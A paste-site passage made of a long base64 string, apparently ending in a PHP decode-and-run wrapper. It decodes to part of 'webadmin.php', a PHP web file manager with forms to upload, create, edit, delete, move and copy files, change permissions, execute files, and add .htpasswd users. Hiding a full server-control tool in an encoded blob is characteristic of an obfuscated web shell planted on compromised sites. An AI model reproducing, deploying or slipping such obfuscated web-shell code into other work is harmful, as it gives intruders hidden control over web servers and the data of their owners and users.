kgLiAnIiAvPgoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvY3VzIiB2YWx1ZT0iIiAvPgoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9sZGRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4KJzsKCSRhY3Rpb25zID0gYXJyYXkoKTsKCWlmIChAaXNfd3JpdGFibGUoZGlybmFtZSgkZmlsZVsncGF0aCddKSkpIHsKCQkkYWN0aW9uc1tdID0gJ2RlbGV0ZSc7CgkJJGFjdGlvbnNbXSA9ICdtb3ZlJzsKCX0KCSRhY3Rpb25zW10gPSAnY29weSc7CgllY2hvICcJCTxzZWxlY3QgY2xhc3M9InNtYWxsIiBuYW1lPSJhY3Rpb25fYWxsIiBzaXplPSIxIj4KCQk8b3B0aW9uIHZhbHVlPSIiPicgLiBzdHJfcmVwZWF0KCcmbmJzcDsnLCAzMCkgLiAnPC9vcHRpb24+Cic7Cglmb3JlYWNoICgkYWN0aW9ucyBhcyAkYWN0aW9uKSB7CgkJZWNobyAiXHRcdDxvcHRpb24gdmFsdWU9XCIkYWN0aW9uXCI+IiAuIHdvcmQoJGFjdGlvbikgLiAiPC9vcHRpb24+XG4iOwoJfQoJZWNobyAnCQk8L3NlbGVjdD4KCQk8aW5wdXQgY2xhc3M9InNtYWxsIiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdF9hbGwiIHZhbHVlPSIgJmd0OyAiIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+Cgk8L3RkPgo8L3RyPgonOwp9CmZ1bmN0aW9uIGRpcmVjdG9yeV9jaG9pY2UgKCkgewoJZ2xvYmFsICRkaXJlY3RvcnksICRob21lZGlyLCAkY29scywgJHNlbGY7CgllY2hvICc8dHI+Cgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyIgaWQ9ImRpcmVjdG9yeSI+CgkJPGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkaG9tZWRpcikgLiAnIj4nIC4gd29yZCgnZGlyZWN0b3J5JykgLiAnPC9hPjoKCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnZGlyZWN0b3J5XCcpIiAvPgoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNoYW5nZWRpciIgdmFsdWU9IicgLiB3b3JkKCdjaGFuZ2UnKSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnZGlyZWN0b3J5XCcpIiAvPgoJPC90ZD4KPC90cj4KJzsKfQpmdW5jdGlvbiB1cGxvYWRfYm94ICgpIHsKCWdsb2JhbCAkY29sczsKCWVjaG8gJzx0cj4KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIiBpZD0idXBsb2FkIj4KCQknIC4gd29yZCgnZmlsZScpIC4gJzoKCQk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBsb2FkIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPgoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdF91cGxvYWQiIHZhbHVlPSInIC4gd29yZCgndXBsb2FkJykgLiAnIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPgoJPC90ZD4KPC90cj4KJzsKfQpmdW5jdGlvbiBjcmVhdGVfYm94ICgpIHsKCWdsb2JhbCAkY29sczsKCWVjaG8gJzx0cj4KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIiBpZD0iY3JlYXRlIj4KCQk8c2VsZWN0IG5hbWU9ImNyZWF0ZV90eXBlIiBzaXplPSIxIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ2NyZWF0ZVwnKSI+CgkJPG9wdGlvbiB2YWx1ZT0iZmlsZSI+JyAuIHdvcmQoJ2ZpbGUnKSAuICc8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSJkaXJlY3RvcnkiPicgLiB3b3JkKCdkaXJlY3RvcnknKSAuICc8L29wdGlvbj4KCQk8L3NlbGVjdD4KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3JlYXRlX25hbWUiIG9uZm9jdXM9ImFjdGl2YXRlKFwnY3JlYXRlXCcpIiAvPgoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdF9jcmVhdGUiIHZhbHVlPSInIC4gd29yZCgnY3JlYXRlJykgLiAnIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ2NyZWF0ZVwnKSIgLz4KCTwvdGQ+CjwvdHI+Cic7Cn0KZnVuY3Rpb24gZWRpdCAoJGZpbGUpIHsKCWdsb2JhbCAkc2VsZiwgJGRpcmVjdG9yeSwgJGVkaXRjb2xzLCAkZWRpdHJvd3MsICRhcGFjaGUsICRodHBhc3N3ZCwgJGh0YWNjZXNzOwoJaHRtbF9oZWFkZXIoKTsKCWVjaG8gJzxoMiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogM3B0Ij4nIC4gaHRtbCgkZmlsZSkgLiAnPC9oMj4KPGZvcm0gYWN0aW9uPSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPgo8dGFibGUgY2xhc3M9ImRpYWxvZyI+Cjx0cj4KPHRkIGNsYXNzPSJkaWFsb2ciPgoJPHRleHRhcmVhIG5hbWU9ImNvbnRlbnQiIGNvbHM9IicgLiAkZWRpdGNvbHMgLiAnIiByb3dzPSInIC4gJGVkaXRyb3dzIC4gJyIgV1JBUD0ib2ZmIj4nOwoJaWYgKGFycmF5X2tleV9leGlzdHMoJ2NvbnRlbnQnLCAkX1BPU1QpKSB7CgkJZWNobyAkX1BPU1RbJ2NvbnRlbnQnXTsKCX0gZWxzZSB7CgkJJGYgPSBmb3BlbigkZmlsZSwgJ3InKTsKCQl3aGlsZSAoIWZlb2YoJGYpKSB7CgkJCWVjaG8gaHRtbChmcmVhZCgkZiwgODE5MikpOwoJCX0KCQlmY2xvc2UoJGYpOwoJfQoJaWYgKCFlbXB0eSgkX1BPU1RbJ3VzZXInXSkpIHsKCQllY2hvICJcbiIgLiAkX1BPU1RbJ3VzZXInXSAuICc6JyAuIGNyeXB0KCRfUE9TVFsncGFzc3dvcmQnXSk7Cgl9CglpZiAoIWVtcHR5KCRfUE9TVFsnYmFzaWNfYXV0aCddKSkgewoJCWlmICgkd2luKSB7CgkJCSRhdXRoZmlsZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJGRpcmVjdG9yeSkgLiAkaHRwYXNzd2Q7CgkJfSBlbHNlIHsKCQkJJGF1dGhmaWxlID0gJGRpcmVjdG9yeSAuICRodHBhc3N3ZDsKCQl9CgkJZWNobyAiXG5BdXRoVHlwZSBCYXNpY1xuQXV0aE5hbWUgJnF1b3Q7UmVzdHJpY3RlZCBEaXJlY3RvcnkmcXVvdDtcbiI7CgkJZWNobyAnQXV0aFVzZXJGaWxlICZxdW90OycgLiBodG1sKCRhdXRoZmlsZSkgLiAiJnF1b3Q7XG4iOwoJCWVjaG8gJ1JlcXVpcmUgdmFsaWQtdXNlcic7Cgl9CgllY2hvICc8L3RleHRhcmVhPgoJPGhyIC8+Cic7CglpZiAoJGFwYWNoZSAmJiBiYXNlbmFtZSgkZmlsZSkgPT0gJGh0cGFzc3dkKSB7CgkJZWNobyAnCgknIC4gd29yZCgndXNlcicpIC4gJzogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXIiIC8+CgknIC4gd29yZCgncGFzc3dvcmQnKSAuICc6IDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJyAuIHdvcmQoJ2FkZCcpIC4gJyIgLz4KCTxociAvPgonOwoJfQoJaWYgKCRhcGFjaGUgJiYgYmFzZW5hbWUoJGZpbGUpID09ICRodGFjY2VzcykgewoJCWVjaG8gJwoJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmFzaWNfYXV0aCIgdmFsdWU9IicgLiB3b3JkKCdhZGRfYmFzaWNfYXV0aCcpIC4gJyIgLz4KCTxociAvPgonOwoJfQoJZWNobyAnCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJlZGl0IiAvPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IicgLiBodG1sKCRmaWxlKSAuICciIC8+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXIiIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+Cgk8aW5wdXQgdHlwZT0icmVzZXQiIHZhbHVlPSInIC4gd29yZCgncmVzZXQnKSAuICciIGlkPSJyZWRfYnV0dG9uIiAvPgoJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZSIgdmFsdWU9IicgLiB3b3JkKCdzYXZlJykgLiAnIiBpZD0iZ3JlZW5fYnV0dG9uIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDUwcHgiIC8+CjwvdGQ+CjwvdHI+CjwvdGFibGU+CjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPgo8L2Zvcm0+Cic7CglodG1sX2Zvb3RlcigpOwp9CmZ1bmN0aW9uIHNwYWNlciAoKSB7CglnbG9iYWwgJGNvbHM7CgllY2hvICc8dHI+Cgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyIgc3R5bGU9ImhlaWdodDogMWVtIj48L3RkPgo8L3RyPgonOwp9CmZ1bmN0aW9uIHRleHRmaWVsZHNpemUgKCRjb250ZW50KSB7Cgkkc2l6ZSA9IHN0cmxlbigkY29udGVudCkgKyA1OwoJaWYgKCRzaXplIDwgMzApICRzaXplID0gMzA7CglyZXR1cm4gJHNpemU7Cn0KZnVuY3Rpb24gcmVxdWVzdF9kdW1wICgpIHsKCWZvcmVhY2ggKCRfUkVRVUVTVCBhcyAka2V5ID0+ICR2YWx1ZSkgewoJCWVjaG8gIlx0PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiIiAuIGh0bWwoJGtleSkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJHZhbHVlKSAuICJcIiAvPlxuIjsKCX0KfQpmdW5jdGlvbiBodG1sICgkc3RyaW5nKSB7CglnbG9iYWwgJGNoYXJzZXQ7CglyZXR1cm4gaHRtbGVudGl0aWVzKCRzdHJpbmcsIEVOVF9DT01QQVQsICRjaGFyc2V0KTsKfQpmdW5jdGlvbiB3b3JkICgkd29yZCkgewoJZ2xvYmFsICR3b3JkcywgJHdvcmRfY2hhcnNldDsKCXJldHVybiBodG1sZW50aXRpZXMoJHdvcmRzWyR3b3JkXSwgRU5UX0NPTVBBVCwgJHdvcmRfY2hhcnNldCk7Cn0KZnVuY3Rpb24gcGhyYXNlICgkcGhyYXNlLCAkYXJndW1lbnRzKSB7CglnbG9iYWwgJHdvcmRzOwoJc3RhdGljICRzZWFyY2g7CglpZiAoIWlzX2FycmF5KCRzZWFyY2gpKSBmb3IgKCRpID0gMTsgJGkgPD0gODsgJGkrKykgJHNlYXJjaFtdID0gIiUkaSI7Cglmb3IgKCRpID0gMDsgJGkgPCBzaXplb2YoJGFyZ3VtZW50cyk7ICRpKyspIHsKCQkkYXJndW1lbnRzWyRpXSA9IG5sMmJyKGh0bWwoJGFyZ3VtZW50c1skaV0pKTsKCX0KCSRyZXBsYWNlID0gYXJyYXkoJ3snID0+ICc8cHJlPicsICd9JyA9Pic8L3ByZT4nLCAnWycgPT4gJzxiPicsICddJyA9PiAnPC9iPicpOwoJcmV0dXJuIHN0cl9yZXBsYWNlKCRzZWFyY2gsICRhcmd1bWVudHMsIHN0cl9yZXBsYWNlKGFycmF5X2tleXMoJHJlcGxhY2UpLCAkcmVwbGFjZSwgbmwyYnIoaHRtbCgkd29yZHNbJHBocmFzZV0pKSkpOwp9CmZ1bmN0aW9uIGdldHdvcmRzICgkbGFuZykgewoJZ2xvYmFsICR3b3JkX2NoYXJzZXQsICRkYXRlX2Zvcm1hdDsKCXN3aXRjaCAoJGxhbmcpIHsKCWNhc2UgJ2VuJzoKCWRlZmF1bHQ6CgkJJGRhdGVfZm9ybWF0ID0gJ24vai95IEg6aTpzJzsKCQkkd29yZF9jaGFyc2V0ID0gJ0lTTy04ODU5LTEnOwoJCXJldHVybiBhcnJheSgKJ2RpcmVjdG9yeScgPT4gJ0RpcmVjdG9yeScsCidmaWxlJyA9PiAnRmlsZScsCidmaWxlbmFtZScgPT4gJ0ZpbGVuYW1lJywKJ3NpemUnID0+ICdTaXplJywKJ3Blcm1pc3Npb24nID0+ICdQZXJtaXNzaW9uJywKJ293bmVyJyA9PiAnT3duZXInLAonZ3JvdXAnID0+ICdHcm91cCcsCidvdGhlcicgPT4gJ090aGVycycsCidmdW5jdGlvbnMnID0+ICdGdW5jdGlvbnMnLAoncmVhZCcgPT4gJ3JlYWQnLAond3JpdGUnID0+ICd3cml0ZScsCidleGVjdXRlJyA9PiAnZXhlY3V0ZScsCidjcmVhdGVfc3ltbGluaycgPT4gJ2NyZWF0ZSBzeW1saW5rJywKJ2RlbGV0ZScgPT4gJ2RlbGV0ZScsCidyZW5hbWUnID0+ICdyZW5hbWUnLAonbW92ZScgPT4gJ21vdmUnLAonY29weScgPT4gJ2NvcHknLAonZWRpdCcgPT4gJ2VkaXQnLAonZG93bmxvYWQnID0+ICdkb3dubG9hZCcsCid1cGxvYWQnID0+ICd1cGxvYWQnLAonY3JlYXRlJyA9PiAnY3JlYXRlJywKJ2NoYW5nZScgPT4gJ2NoYW5nZScsCidzYXZlJyA9PiAnc2F2ZScsCidzZXQnID0+ICdzZXQnLAoncmVzZXQnID0+ICdyZXNldCcsCidyZWxhdGl2ZScgPT4gJ1JlbGF0aXZlIHBhdGggdG8gdGFyZ2V0JywKJ3llcycgPT4gJ1llcycsCidubycgPT4gJ05vJywKJ2JhY2snID0+ICdiYWNrJywKJ2Rlc3RpbmF0aW9uJyA9PiAnRGVzdGluYXRpb24nLAonc3ltbGluaycgPT4gJ1N5bWxpbmsnLAonbm9fb3V0cHV0JyA9PiAnbm8gb3V0cHV0JywKJ3VzZXInID0+ICdVc2VyJywKJ3Bhc3N3b3JkJyA9PiAnUGFzc3dvcmQnLAonYWRkJyA9PiAnYWRkJywKJ2FkZF9iYXNpY19hdXRoJyA9PiAnYWRkIGJhc2ljLWF1dGhlbnRpZmljYXRpb24nLAondXBsb2FkZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gdXBsb2FkZWQuJywKJ25vdF91cGxvYWRlZCcgPT4gJyJbJTFdIiBjb3VsZCBub3QgYmUgdXBsb2FkZWQuJywKJ2FscmVhZHlfZXhpc3RzJyA9PiAnIlslMV0iIGFscmVhZHkgZXhpc3RzLicsCidjcmVhdGVkJyA9PiAnIlslMV0iIGhhcyBiZWVuIGNyZWF0ZWQuJywKJ25vdF9jcmVhdGVkJyA9PiAnIlslMV0iIGNvdWxkIG5vdCBiZSBjcmVhdGVkLicsCidyZWFsbHlfZGVsZXRlJyA9PiAnRGVsZXRlIHRoZXNlIGZpbGVzPycsCidkZWxldGVkJyA9PiAiVGhlc2UgZmlsZXMgaGF2ZSBiZWVuIGRlbGV0ZWQ6XG5bJTFdIiwKJ25vdF9kZWxldGVkJyA9PiAiVGhlc2UgZmlsZXMgY291bGQgbm90IGJlIGRlbGV0ZWQ6XG5bJTFdIiwKJ3JlbmFtZV9maWxlJyA9PiAnUmVuYW1lIGZpbGU6JywKJ3JlbmFtZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gcmVuYW1lZCB0byAiWyUyXSIuJywKJ25vdF9yZW5hbWVkJyA9PiAnIlslMV0gY291bGQgbm90IGJlIHJlbmFtZWQgdG8gIlslMl0iLicsCidtb3ZlX2ZpbGVzJyA9PiAnTW92ZSB0aGVzZSBmaWxlczonLAonbW92ZWQnID0+ICJUaGVzZSBmaWxlcyBoYXZlIGJlZW4gbW92ZWQgdG8gXCJbJTJdXCI6XG5bJTFdIiwKJ25vdF9tb3ZlZCcgPT4gIlRoZXNlIGZpbGVzIGNvdWxkIG5vdCBiZSBtb3ZlZCB0byBcIlslMl1cIjpcblslMV0iLAonY29weV9maWxlcycgPT4gJ0NvcHkgdGhlc2UgZmlsZXM6JywKJ2NvcGllZCcgPT4gIlRoZXNlIGZpbGVzIGhhdmUgYmVlbiBjb3BpZWQgdG8gXCJbJTJdXCI6XG5bJTFdIiwKJ25vdF9jb3BpZWQnID0+ICJUaGVzZSBmaWxlcyBjb3VsZCBub3QgYmUgY29waWVkIHRvIFwiWyUyXVwiOlxuWyUxXSIsCidub3RfZWRpdGVkJyA9PiAnIlslMV0iIGNhbiBub3QgYmUgZWRpdGVkLicsCidleGVjdXRlZCcgPT4gIlwiWyUxXVwiIGhhcyBiZWVuIGV4ZWN1dGVkIHN1Y2Nlc3NmdWxseTpcbnslMn0iLAonbm90X2V4ZWN1dGVkJyA9PiAiXCJbJTFdXCIgY291bGQgbm90IGJlIGV4ZWN1dGVkIHN1Y2Nlc3NmdWxseTpcbnslMn0iLAonc2F2ZWQnID0+ICciWyUxXSIgaGFzIGJlZW4gc2F2ZWQuJywKJ25vdF9zYXZlZCcgPT4gJyJbJTFdIiBjb3VsZCBub3QgYmUgc2F2ZWQuJywKJ3N5bWxpbmtlZCcgPT4gJ1N5bWxpbmsgZnJvbSAiWyUyXSIgdG8gIlslMV0iIGhhcyBiZWVuIGNyZWF0ZWQuJywKJ25vdF9zeW1saW5rZWQnID0+ICdTeW1saW5rIGZyb20gIlslMl0iIHRvICJbJTFdIiBjb3VsZCBub3QgYmUgY3JlYXRlZC4nLAoncGVybWlzc2lvbl9mb3InID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIjonLAoncGVybWlzc2lvbl9zZXQnID0+ICdQZXJtaXNzaW9uIG9mICJbJTFdIiB3YXMgc2V0IHRvIFslMl0uJywKJ3Blcm1pc3Npb25fbm90X3NldCcgPT4gJ1Blcm1pc3Npb24gb2YgIlslMV0iIGNvdWxkIG5vdCBiZSBzZXQgdG8gWyUyXS4nLAonbm90X3JlYWRhYmxlJyA9PiAnIlslMV0iIGNhbiBub3QgYmUgcmVhZC4nCgkJKTsKCX0KfQpmdW5jdGlvbiBnZXRpbWFnZSAoJGltYWdlKSB7Cglzd2l0Y2ggKCRpbWFnZSkgewoJY2FzZSAnZmlsZSc6CgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRURBSm1abWYvLy93QUFBUC8vL3lINUJBSG9Bd01BTEFBQUFBQVJBQTBBQUFJdG5JR0p4ZzBCNDJyc2lTdkNBL1JFbVhRV2htbmloM0xVU0dhcWczNXZGYlNYdWNiU2FidW5qbk1vaHE4Q0FEc0EnKTsKCWNhc2UgJ2ZvbGRlcic6CgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFKRURBSm1abWYvLy84ek16UC8vL3lINUJBSG9Bd01BTEFBQUFBQVJBQTBBQUFJcW5JK1p3S3diWWdUUHRJdWRsYndMT2dDQlFKWW1DWXJuK20zc21ZNXZHYyswYTdkaGpoN1pieWdBQURzQScpOwoJY2FzZSAnaGlkZGVuX2ZpbGUnOgoJCXJldHVybiBiYXNlNjRfZGVjb2RlKCdSMGxHT0RsaEVRQU5BSkVEQU13QUFQLy8vNW1abWYvLy95SDVCQUhvQXdNQUxBQUFBQUFSQUEwQUFBSXRuSUdKeGcwQjQycnNpU3ZDQS9SRW1YUVdobW5paDNMVVNHYXFnMzV2RmJTWHVjYlNhYnVuam5Nb2hxOENBRHNBJyk7CgljYXNlICdsaW5rJzoKCQlyZXR1cm4gYmFzZTY0X2RlY29kZSgnUjBsR09EbGhFUUFOQUtJRUFKbVptZi8vL3dBQUFNd0FBUC8vL3dBQUFBQUFBQUFBQUNINUJBSG9Bd1FBTEFBQUFBQVJBQTBBQUFNNVNBcmNyRENDUU91TGNJb3R3Z1RZVWxsTk9BMER4WGttaFk0c2hNNXpzTVVLVFk4Z05nVXZXNmNuQWFaZ3hNeUlNMnpCTENhSGxKZ0FBRHNBJyk7CgljYXNlICdzbWlsZXknOgoJCXJldHVybiBiYXNlNjRfZGVjb2RlKCdSMGxHT0RsaEVRQU5BSkVDQUFBQUFQLy9BUC8vL3dBQUFDSDVCQUhvQXdJQUxBQUFBQUFSQUEwQUFBSXNsSStwQXUyd0RBaXowaldEM2hxbUJ6WmYxVkNsZUpRY2gwcmtkbnBwQjNkS1p1SXlnck1SRS9vSkR3VUFPd0E9Jyk7CgljYXNlICdhcnJvdyc6CgkJcmV0dXJuIGJhc2U2NF9kZWNvZGUoJ1IwbEdPRGxoRVFBTkFJQUJBQUFBQVAvLy95SDVCQUVLQUFFQUxBQUFBQUFSQUEwQUFBSWRqQTl3eTZnTlE0cHdVbWF2MHl2bitoaEppSTNtQ0o2b3RySWt4eFFBT3c9PScpOwoJfQp9CmZ1bmN0aW9uIGh0bWxfaGVhZGVyICgpIHsKCWdsb2JhbCAkY2hhcnNldDsKCWVjaG8gPDw8RU5ECjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iCiAgICAgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXN0cmljdC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD0kY2hhcnNldCIgLz4KPHRpdGxlPndlYmFkbWluLnBocDwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmJvZHkgeyBmb250OiBzbWFsbCBzYW5zLXNlcmlmOyB0ZXh0LWFsaWduOiBjZW50ZXIgfQppbWcgeyB3aWR0aDogMTdweDsgaGVpZ2h0OiAxM3B4IH0KYSwgYTp2aXNpdGVkIHsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBjb2xvcjogbmF2eSB9CmhyIHsgYm9yZGVyLXN0eWxlOiBub25lOyBoZWlnaHQ6IDFweDsgYmFja2dyb3VuZC1jb2xvcjogc2lsdmVyOyBjb2xvcjogc2lsdmVyIH0KI21haW4geyBtYXJnaW4tdG9wOiA2cHQ7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG87IGJvcmRlci1zcGFjaW5nOiAxcHggfQojbWFpbiB0aCB7IGJhY2tncm91bmQ6ICNlZWU7IHBhZGRpbmc6IDNwdCAzcHQgMHB0IDNwdCB9Ci5saXN0aW5nIHRoLCAubGlzdGluZyB0ZCB7IHBhZGRpbmc6IDFweCAzcHQgMCAzcHQgfQoubGlzdGluZyB0aCB7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9Ci5saXN0aW5nIHRkIHsgYm9yZGVyOiAxcHggc29saWQgI2RkZDsgYmFja2dyb3VuZDogd2hpdGUgfQoubGlzdGluZyAuY2hlY2tib3ggeyB0ZXh0LWFsaWduOiBjZW50ZXIgfQoubGlzdGluZyAuZmlsZW5hbWUgeyB0ZXh0LWFsaWduOiBsZWZ0IH0KLmxpc3RpbmcgLnNpemUgeyB0ZXh0LWFsaWduOiByaWdodCB9Ci5saXN0aW5nIC5wZXJtaXNzaW9uX2hlYWRlciB7IHRleHQtYWxpZ246IGxlZnQgfQoubGlzdGluZyAucGVybWlzc2lvbiB7IGZvbnQtZmFtaWx5OiBtb25vc3BhY2UgfQoubGlzdGluZyAub3duZXIgeyB0ZXh0LWFsaWduOiBsZWZ0IH0KLmxpc3RpbmcgLmdyb3VwIHsgdGV4dC1hbGlnbjogbGVmdCB9Ci5saXN0aW5nIC5mdW5jdGlvbnMgeyB0ZXh0LWFsaWduOiBsZWZ0IH0KLmxpc3RpbmdfZm9vdGVyIHRkIHsgYmFja2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0KI2RpcmVjdG9yeSwgI3VwbG9hZCwgI2NyZWF0ZSwgLmxpc3RpbmdfZm9vdGVyIHRkLCAjZXJyb3IgdGQsICNub3RpY2UgdGQgeyB0ZXh0LWFsaWduOiBsZWZ0OyBwYWRkaW5nOiAzcHQgfQojZGlyZWN0b3J5IHsgYmFja2dyb3VuZDogI2VlZTsgYm9yZGVyOiAxcHggc29saWQgc2lsdmVyIH0KI3VwbG9hZCB7IHBhZGRpbmctdG9wOiAxZW0gfQojY3JlYXRlIHsgcGFkZGluZy1ib3R0b206IDFlbSB9Ci5zbWFsbCwgLnNtYWxsIG9wdGlvbiB7IGZvbnQtc2l6ZTogeC1zbWFsbCB9CnRleHRhcmVhIHsgYm9yZGVyOiBub25lOyBiYWNrZ3JvdW5kOiB3aGl0ZSB9CnRhYmxlLmRpYWxvZyB7IG1hcmdpbi1sZWZ0OiBhdXRvOyBtYXJnaW4tcmlnaHQ6IGF1dG8gfQp0ZC5kaWFsb2cgeyBiYWNrZ3JvdW5kOiAjZWVlOyBwYWRkaW5nOiAxZXg7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlcjsgdGV4dC1hbGlnbjogY2VudGVyIH0KI3Blcm1pc3Npb24geyBtYXJnaW4tbGVmdDogYXV0bzsgbWFyZ2luLXJpZ2h0OiBhdXRvIH0KI3Blcm1pc3Npb24gdGQgeyBwYWRkaW5nLWxlZnQ6IDNwdDsgcGFkZGluZy1yaWdodDogM3B0OyB0ZXh0LWFsaWduOiBjZW50ZXIgfQp0ZC5wZXJtaXNzaW9uX2FjdGlvbiB7IHRleHQtYWxpZ246IHJpZ2h0IH0KI3N5bWxpbmsgeyBiYWNrZ3JvdW5kOiAjZWVlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQojc3ltbGluayB0ZCB7IHRleHQtYWxpZ246IGxlZnQ7IHBhZGRpbmc6IDNwdCB9CiNyZWRfYnV0dG9uIHsgd2lkdGg6IDEyMHB4OyBjb2xvcjogIzQwMCB9CiNncmVlbl9idXR0b24geyB3aWR0aDogMTIwcHg7IGNvbG9yOiAjMDQwIH0KI2Vycm9yIHRkIHsgYmFja2dyb3VuZDogbWFyb29uOyBjb2xvcjogd2hpdGU7IGJvcmRlcjogMXB4IHNvbGlkIHNpbHZlciB9CiNub3RpY2UgdGQgeyBiYWNrZ3JvdW5kOiBncmVlbjsgY29sb3I6IHdoaXRlOyBib3JkZXI6IDFweCBzb2xpZCBzaWx2ZXIgfQojbm90aWNlIHByZSwgI2Vycm9yIHByZSB7IGJhY2tncm91bmQ6IHNpbHZlcjsgY29sb3I6IGJsYWNrOyBwYWRkaW5nOiAxZXg7IG1hcmdpbi1sZWZ0OiAxZXg7IG1hcmdpbi1yaWdodDogMWV4IH0KY29kZSB7IGZvbnQtc2l6ZTogMTJwdCB9CnRkIHsgd2hpdGUtc3BhY2U6IG5vd3JhcCB9Cjwvc3R5bGU+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KPCEtLQpmdW5jdGlvbiBhY3RpdmF0ZSAobmFtZSkgewoJaWYgKGRvY3VtZW50ICYmIGRvY3VtZW50LmZvcm1zWzBdICYmIGRvY3VtZW50LmZvcm1zWzBdLmVsZW1lbnRzWydmb2N1cyddKSB7CgkJZG9jdW1lbnQuZm9ybXNbMF0uZWxlbWVudHNbJ2ZvY3VzJ10udmFsdWUgPSBuYW1lOwoJfQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgpFTkQ7Cn0KZnVuY3Rpb24gaHRtbF9mb290ZXIgKCkgewoJZWNobyA8PDxFTkQKPC9ib2R5Pgo8L2h0bWw+CkVORDsKfQpmdW5jdGlvbiBub3RpY2UgKCRwaHJhc2UpIHsKCWdsb2JhbCAkY29sczsKCSRhcmdzID0gZnVuY19nZXRfYXJncygpOwoJYXJyYXlfc2hpZnQoJGFyZ3MpOwoJcmV0dXJuICc8dHIgaWQ9Im5vdGljZSI+Cgk8dGQgY29sc3Bhbj0iJyAuICRjb2xzIC4gJyI+JyAuIHBocmFzZSgkcGhyYXNlLCAkYXJncykgLiAnPC90ZD4KPC90cj4KJzsKfQpmdW5jdGlvbiBlcnJvciAoJHBocmFzZSkgewoJZ2xvYmFsICRjb2xzOwoJJGFyZ3MgPSBmdW5jX2dldF9hcmdzKCk7CglhcnJheV9zaGlmdCgkYXJncyk7CglyZXR1cm4gJzx0ciBpZD0iZXJyb3IiPgoJPHRkIGNvbHNwYW49IicgLiAkY29scyAuICciPicgLiBwaHJhc2UoJHBocmFzZSwgJGFyZ3MpIC4gJzwvdGQ+CjwvdHI+Cic7Cn0KPz4="));?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement